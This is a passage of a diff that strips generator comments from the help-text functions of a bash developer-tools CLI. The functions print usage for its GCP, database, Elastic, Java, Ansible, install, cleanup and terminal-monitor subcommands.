repository\n" "$(green "list-images") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2129,7 +1819,6 @@ dtools_gcp_artifacts_usage() { fi } -# :command.usage dtools_gcp_artifacts_list_repositories_usage() { printf "dtools gcp artifacts list-repositories - List all repositories in artifact registry for the specified project and location\n\n" @@ -2138,25 +1827,20 @@ dtools_gcp_artifacts_list_repositories_usage() { printf " dtools gcp artifacts list-repositories --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2164,7 +1848,6 @@ dtools_gcp_artifacts_list_repositories_usage() { fi } -# :command.usage dtools_gcp_artifacts_list_images_usage() { printf "dtools gcp artifacts list-images - List all images contained with the specified artifact registry repository\n\n" @@ -2173,43 +1856,34 @@ dtools_gcp_artifacts_list_images_usage() { printf " dtools gcp artifacts list-images --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo - # :flag.usage printf " %s\n" "$(magenta "--detailed")" printf " Output the images with full details in JSON format\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "REPOSITORY_NAME")" printf " The GCP docker repository whose images you wish to list\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools gcp artifacts list-images serving-docker\n" echo @@ -2217,7 +1891,6 @@ dtools_gcp_artifacts_list_images_usage() { fi } -# :command.usage dtools_db_usage() { printf "dtools db - Database commands\n\n" @@ -2225,19 +1898,17 @@ dtools_db_usage() { printf " dtools db COMMAND\n" printf " dtools db [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Start an interactive Docker container with psql to experiment with PostgreSQL.\n" "$(green "postgres")" printf " %s Start an interactive Docker container with mysql to experiment with MySQL.\n" "$(green "mysql") " printf " %s Start a Harlequin session to big query using the specified project\n" "$(green "bigquery")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2245,7 +1916,6 @@ dtools_db_usage() { fi } -# :command.usage dtools_db_postgres_usage() { if [[ -n $long_usage ]]; then printf "dtools db postgres\n\n" @@ -2259,68 +1929,56 @@ dtools_db_postgres_usage() { printf " dtools db postgres --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--dump")" printf " Dump the persistent DB into a single large SQL script\n" printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump-to-dbml, --schema" echo - # :flag.usage printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.db/postgres/) to load/wipe\n the DB from\n" printf " %s\n" "Default: default" echo - # :flag.usage printf " %s\n" "$(magenta "--dump-to-dbml")" printf " Dumps the persistent DB into DBML to be imported into dbdiagram.io\n" printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--schema, -s SCHEMA (repeatable)")" printf " Specify the schema to dump\n" printf " %s\n" "Needs: --dump-to-dbml, --database" printf " %s\n" "Conflicts: --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--tui")" printf " Open the DB in a TUI (harlequin)\n" printf " %s\n" "Conflicts: --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--persistent")" printf " Persist the DB data to disk (persists to ~/.db/postgres)\n" printf " %s\n" "Conflicts: --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any persistent data from the disk before starting the container\n" printf " %s\n" "Needs: --persistent" printf " %s\n" "Conflicts: --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--database DATABASE")" printf " Specify the name of the databaose to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--port PORT")" printf " Specify the host port to expose the DB on\n" printf " %s\n" "Default: 5432" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2328,7 +1986,6 @@ dtools_db_postgres_usage() { fi } -# :command.usage dtools_db_mysql_usage() { if [[ -n $long_usage ]]; then printf "dtools db mysql\n\n" @@ -2342,61 +1999,50 @@ dtools_db_mysql_usage() { printf " dtools db mysql --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.db/mysql/) to load/wipe the\n DB from\n" printf " %s\n" "Default: default" echo - # :flag.usage printf " %s\n" "$(magenta "--dump")" printf " Dump the persistent DB into a single large SQL script\n" printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump-to-dbml" echo - # :flag.usage printf " %s\n" "$(magenta "--dump-to-dbml")" printf " Dumps the persistent DB into DBML to be imported into dbdiagram.io\n" printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--tui")" printf " Open the DB in a TUI (harlequin)\n" printf " %s\n" "Conflicts: --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--persistent")" printf " Persist the DB data to disk (persists to ~/.db/mysql)\n" printf " %s\n" "Conflicts: --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any persistent data from the disk before starting the container\n" printf " %s\n" "Needs: --persistent" printf " %s\n" "Conflicts: --dump" echo - # :flag.usage printf " %s\n" "$(magenta "--database DATABASE")" printf " Specify the name of the databaose to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--port PORT")" printf " Specify the host port to expose the DB on\n" printf " %s\n" "Default: 3306" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2404,7 +2050,6 @@ dtools_db_mysql_usage() { fi } -# :command.usage dtools_db_bigquery_usage() { printf "dtools db bigquery - Start a Harlequin session to big query using the specified project\n\n" @@ -2413,24 +2058,19 @@ dtools_db_bigquery_usage() { printf " dtools db bigquery --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--project, -p PROJECT (required)")" printf " The GCP project to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2438,7 +2078,6 @@ dtools_db_bigquery_usage() { fi } -# :command.usage dtools_elastic_usage() { printf "dtools elastic - Elastic Stack commands\n\n" @@ -2446,19 +2085,17 @@ dtools_elastic_usage() { printf " dtools elastic COMMAND\n" printf " dtools elastic [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "init") " printf " %s Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "start")" printf " %s Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "stop") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2466,7 +2103,6 @@ dtools_elastic_usage() { fi } -# :command.usage dtools_elastic_init_usage() { printf "dtools elastic init - Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n\n" @@ -2475,12 +2111,10 @@ dtools_elastic_init_usage() { printf " dtools elastic init --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2488,7 +2122,6 @@ dtools_elastic_init_usage() { fi } -# :command.usage dtools_elastic_start_usage() { if [[ -n $long_usage ]]; then printf "dtools elastic start\n\n" @@ -2502,12 +2135,10 @@ dtools_elastic_start_usage() { printf " dtools elastic start --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2515,7 +2146,6 @@ dtools_elastic_start_usage() { fi } -# :command.usage dtools_elastic_stop_usage() { printf "dtools elastic stop - Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash)\n\n" @@ -2524,12 +2154,10 @@ dtools_elastic_stop_usage() { printf " dtools elastic stop --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2537,7 +2165,6 @@ dtools_elastic_stop_usage() { fi } -# :command.usage dtools_java_usage() { printf "dtools java - Java commands\n\n" @@ -2545,18 +2172,16 @@ dtools_java_usage() { printf " dtools java COMMAND\n" printf " dtools java [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Sets the system-wide Java version\n" "$(green "set-version") " printf " %s Perform static code analysis for the current directory's Java project with SonarQube\n" "$(green "analyze-with-sonar")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2564,7 +2189,6 @@ dtools_java_usage() { fi } -# :command.usage dtools_java_set_version_usage() { printf "dtools java set-version - Sets the system-wide Java version\n\n" @@ -2573,26 +2197,21 @@ dtools_java_set_version_usage() { printf " dtools java set-version --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "VERSION")" printf " The Java version to use\n" printf " %s\n" "Allowed: 8, 11, 17, 21" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools java set-version 17\n" echo @@ -2600,7 +2219,6 @@ dtools_java_set_version_usage() { fi } -# :command.usage dtools_java_analyze_with_sonar_usage() { printf "dtools java analyze-with-sonar - Perform static code analysis for the current directory's Java project with SonarQube\n\n" @@ -2609,28 +2227,22 @@ dtools_java_analyze_with_sonar_usage() { printf " dtools java analyze-with-sonar --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--sonar-url, -u SONAR_URL (required)")" printf " The SonarQube server URL to use for analysis\n" echo - # :flag.usage printf " %s\n" "$(magenta "--sonar-login, -l SONAR_LOGIN (required)")" printf " The SonarQube login token to use for analysis\n" echo - # :flag.usage printf " %s\n" "$(magenta "--sonar-project-key, -k SONAR_PROJECT_KEY (required)")" printf " The SonarQube project key to use for analysis\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2638,7 +2250,6 @@ dtools_java_analyze_with_sonar_usage() { fi } -# :command.usage dtools_ansible_usage() { printf "dtools ansible - Ansible commands\n\n" @@ -2646,18 +2257,16 @@ dtools_ansible_usage() { printf " dtools ansible COMMAND\n" printf " dtools ansible [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault\n" "$(green "encrypt-string") " printf " %s Decrypt a variable encrypted with Ansible Vault\n" "$(green "decrypt-variable")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2665,7 +2274,6 @@ dtools_ansible_usage() { fi } -# :command.usage dtools_ansible_encrypt_string_usage() { printf "dtools ansible encrypt-string - Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault\n\n" @@ -2674,23 +2282,18 @@ dtools_ansible_encrypt_string_usage() { printf " dtools ansible encrypt-string --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--copy-output-to-clipboard, -c")" printf " Instead of outputting the encrypted secret to stdout, copy it to your\n clipboard\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools ansible encrypt-string -c\n" echo @@ -2698,7 +2301,6 @@ dtools_ansible_encrypt_string_usage() { fi } -# :command.usage dtools_ansible_decrypt_variable_usage() { printf "dtools ansible decrypt-variable - Decrypt a variable encrypted with Ansible Vault\n\n" @@ -2707,28 +2309,22 @@ dtools_ansible_decrypt_variable_usage() { printf " dtools ansible decrypt-variable --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--variable, -v VARIABLE (required)")" printf " The name of the variable you wish to decrypt\n" echo - # :flag.usage printf " %s\n" "$(magenta "--file, -f FILE (required)")" printf " The inventory file/playbook file that the variable lives in\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools ansible decrypt-variable -v some_variable -f\n inventories/local/group_vars/local.yml\n" echo @@ -2736,7 +2332,6 @@ dtools_ansible_decrypt_variable_usage() { fi } -# :command.usage dtools_install_usage() { printf "dtools install - Install commands\n\n" @@ -2744,19 +2339,17 @@ dtools_install_usage() { printf " dtools install COMMAND\n" printf " dtools install [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Install Docker (Debian-based systems only)\n" "$(green "docker") " printf " %s Install Ansible\n" "$(green "ansible")" printf " %s Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only)\n" "$(green "java") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2764,7 +2357,6 @@ dtools_install_usage() { fi } -# :command.usage dtools_install_docker_usage() { printf "dtools install docker - Install Docker (Debian-based systems only)\n\n" @@ -2773,12 +2365,10 @@ dtools_install_docker_usage() { printf " dtools install docker --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2786,7 +2376,6 @@ dtools_install_docker_usage() { fi } -# :command.usage dtools_install_ansible_usage() { printf "dtools install ansible - Install Ansible\n\n" @@ -2795,12 +2384,10 @@ dtools_install_ansible_usage() { printf " dtools install ansible --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2808,7 +2395,6 @@ dtools_install_ansible_usage() { fi } -# :command.usage dtools_install_java_usage() { printf "dtools install java - Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only)\n\n" @@ -2817,12 +2403,10 @@ dtools_install_java_usage() { printf " dtools install java --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2830,7 +2414,6 @@ dtools_install_java_usage() { fi } -# :command.usage dtools_clean_usage() { printf "dtools clean - System cleaning commands\n\n" @@ -2838,7 +2421,7 @@ dtools_clean_usage() { printf " dtools clean COMMAND\n" printf " dtools clean [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Perform a system-wide upkeep cleanup with BleachBit\n" "$(green "bleachbit") " printf " %s Clean docker images, containers, and volumes\n" "$(green "docker") " @@ -2847,12 +2430,10 @@ dtools_clean_usage() { printf " %s Clean all build caches\n" "$(green "build-caches") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2860,7 +2441,6 @@ dtools_clean_usage() { fi } -# :command.usage dtools_clean_bleachbit_usage() { if [[ -n $long_usage ]]; then printf "dtools clean bleachbit\n\n" @@ -2874,12 +2454,10 @@ dtools_clean_bleachbit_usage() { printf " dtools clean bleachbit --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2887,7 +2465,6 @@ dtools_clean_bleachbit_usage() { fi } -# :command.usage dtools_clean_docker_usage() { printf "dtools clean docker - Clean docker images, containers, and volumes\n\n" @@ -2896,12 +2473,10 @@ dtools_clean_docker_usage() { printf " dtools clean docker --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2909,7 +2484,6 @@ dtools_clean_docker_usage() { fi } -# :command.usage dtools_clean_package_caches_usage() { printf "dtools clean package-caches - Clean package manager caches (Debian-based systems only)\n\n" @@ -2918,12 +2492,10 @@ dtools_clean_package_caches_usage() { printf " dtools clean package-caches --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2931,7 +2503,6 @@ dtools_clean_package_caches_usage() { fi } -# :command.usage dtools_clean_logs_usage() { printf "dtools clean logs - Clean up system logs by deleting old logs and clearing the journal\n\n" @@ -2940,12 +2511,10 @@ dtools_clean_logs_usage() { printf " dtools clean logs --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2953,7 +2522,6 @@ dtools_clean_logs_usage() { fi } -# :command.usage dtools_clean_build_caches_usage() { printf "dtools clean build-caches - Clean all build caches\n\n" @@ -2962,25 +2530,20 @@ dtools_clean_build_caches_usage() { printf " dtools clean build-caches --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "CODE-DIRECTORY")" printf " The base directory for all of your code repositories to recursively clean\n build caches from\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools clean build-caches ~/code\n" echo @@ -2988,7 +2551,6 @@ dtools_clean_build_caches_usage() { fi } -# :command.usage dtools_tui_usage() { printf "dtools tui - TUIs (Documentation only)\n\n" @@ -2996,7 +2558,7 @@ dtools_tui_usage() { printf " dtools tui COMMAND\n" printf " dtools tui [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Monitoring TUIs Commands:")" printf " %s TUIs for monitoring systems\n" "$(green "monitoring") " echo @@ -3028,12 +2590,10 @@ dtools_tui_usage() { printf " %s TUIs for AI related tooling\n" "$(green "ai") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3041,7 +2601,6 @@ dtools_tui_usage() { fi } -# :command.usage dtools_tui_monitoring_usage() { printf "dtools tui monitoring - TUIs for monitoring systems\n\n" @@ -3049,19 +2608,17 @@ dtools_tui_monitoring_usage() { printf " dtools tui monitoring COMMAND\n" printf " dtools tui monitoring [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Interactive process viewer (btop)\n" "$(green "system-monitor")" printf " %s Monitor your PiHole server (pimon)\n" "$(green "pihole-monitor")" printf " %s Linux kernel manager and activity monitor (kmon)\n" "$(green "kernel-monitor")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3069,7 +2626,6 @@ dtools_tui_monitoring_usage() { fi } -# :command.usage dtools_tui_monitoring_system_monitor_usage() { printf "dtools tui monitoring system-monitor - Interactive process viewer (btop)\n\n" @@ -3078,12 +2634,10 @@ dtools_tui_monitoring_system_monitor_usage() { printf " dtools tui monitoring system-monitor --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3091,7 +2645,6 @@ dtools_tui_monitoring_system_monitor_usage() { fi } -# :command.usage dtools_tui_monitoring_pihole_monitor_usage() { printf "dtools tui monitoring pihole-monitor - Monitor your PiHole server (pimon)\n\n" @@ -3100,12 +2653,10 @@ dtools_tui_monitoring_pihole_monitor_usage() { printf " dtools tui monitoring pihole-monitor --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3113,7 +2664,6 @@ dtools_tui_monitoring_pihole_monitor_usage() { fi } -# :command.usage dtools_tui_monitoring_kernel_monitor_usage() { printf "dtools tui monitoring kernel-monitor - Linux kernel manager and activity monitor (kmon)\n\n" @@ -3122,12 +2672,10 @@ dtools_tui_monitoring_kernel_monitor_usage() { printf " dtools tui monitoring kernel-monitor --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3135,7 +2683,6 @@ dtools_tui_monitoring_kernel_monitor_usage() { fi } -# :command.usage dtools_tui_network_monitoring_usage() { printf "dtools tui network-monitoring - TUIs for monitoring network activities\n\n" @@ -3143,7 +2690,7 @@ dtools_tui_network_monitoring_usage() { printf " dtools tui network-monitoring COMMAND\n" printf " dtools tui network-monitoring [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s WiFi monitor to display stats about your current connection like signal strength (wavemon)\n" "$(green "wavemon") " printf " %s Network diagnostic tool (trippy)\n" "$(green "network-diags")" @@ -3152,12 +2699,10 @@ dtools_tui_network_monitoring_usage() { printf " %s Terminal network scanner and diagnostic tool (netscanner)\n" "$(green "netscanner") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3165,7 +2710,6 @@ dtools_tui_network_monitoring_usage() { fi } -# :command.usage dtools_tui_network_monitoring_wavemon_usage() { printf "dtools tui network-monitoring wavemon - WiFi monitor to display stats about your current connection like signal strength (wavemon)\n\n" @@ -3174,12 +2718,10 @@ dtools_tui_network_monitoring_wavemon_usage() { printf " dtools tui network-monitoring wavemon --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3187,7 +2729,6 @@ dtools_tui_network_monitoring_wavemon_usage() { fi } -# :command.usage dtools_tui_network_monitoring_network_diags_usage() { printf "dtools tui network-monitoring network-diags - Network diagnostic tool (trippy)\n\n" @@ -3196,12 +2737,10 @@ dtools_tui_network_monitoring_network_diags_usage() { printf " dtools tui network-monitoring network-diags --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3209,7 +2748,6 @@ dtools_tui_network_monitoring_network_diags_usage() { fi } -# :command.usage dtools_tui_network_monitoring_ip_traffic_usage() { printf "dtools tui network-monitoring ip-traffic - Monitor IP traffic (iptraf)\n\n" @@ -3218,12 +2756,10 @@ dtools_tui_network_monitoring_ip_traffic_usage() { printf " dtools tui network-monitoring ip-traffic --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3231,7 +2767,6 @@ dtools_tui_network_monitoring_ip_traffic_usage() { fi } -# :command.usage dtools_tui_network_monitoring_socket_stats_usage() { printf "dtools tui network-monitoring socket-stats - User-friendly and detailed socket statistics (neoss)\n\n" @@ -3240,12 +2775,10 @@ dtools_tui_network_monitoring_socket_stats_usage() { printf " dtools tui network-monitoring socket-stats --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3253,7 +2786,6 @@ dtools_tui_network_monitoring_socket_stats_usage() { fi } -# :command.usage dtools_tui_network_monitoring_netscanner_usage() { printf "dtools tui network-monitoring netscanner - Terminal network scanner and diagnostic tool (netscanner)\n\n" @@ -3262,12 +2794,10 @@ dtools_tui_network_monitoring_netscanner_usage() { printf " dtools tui network-monitoring netscanner --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -3275,7 +2805,6 @@ 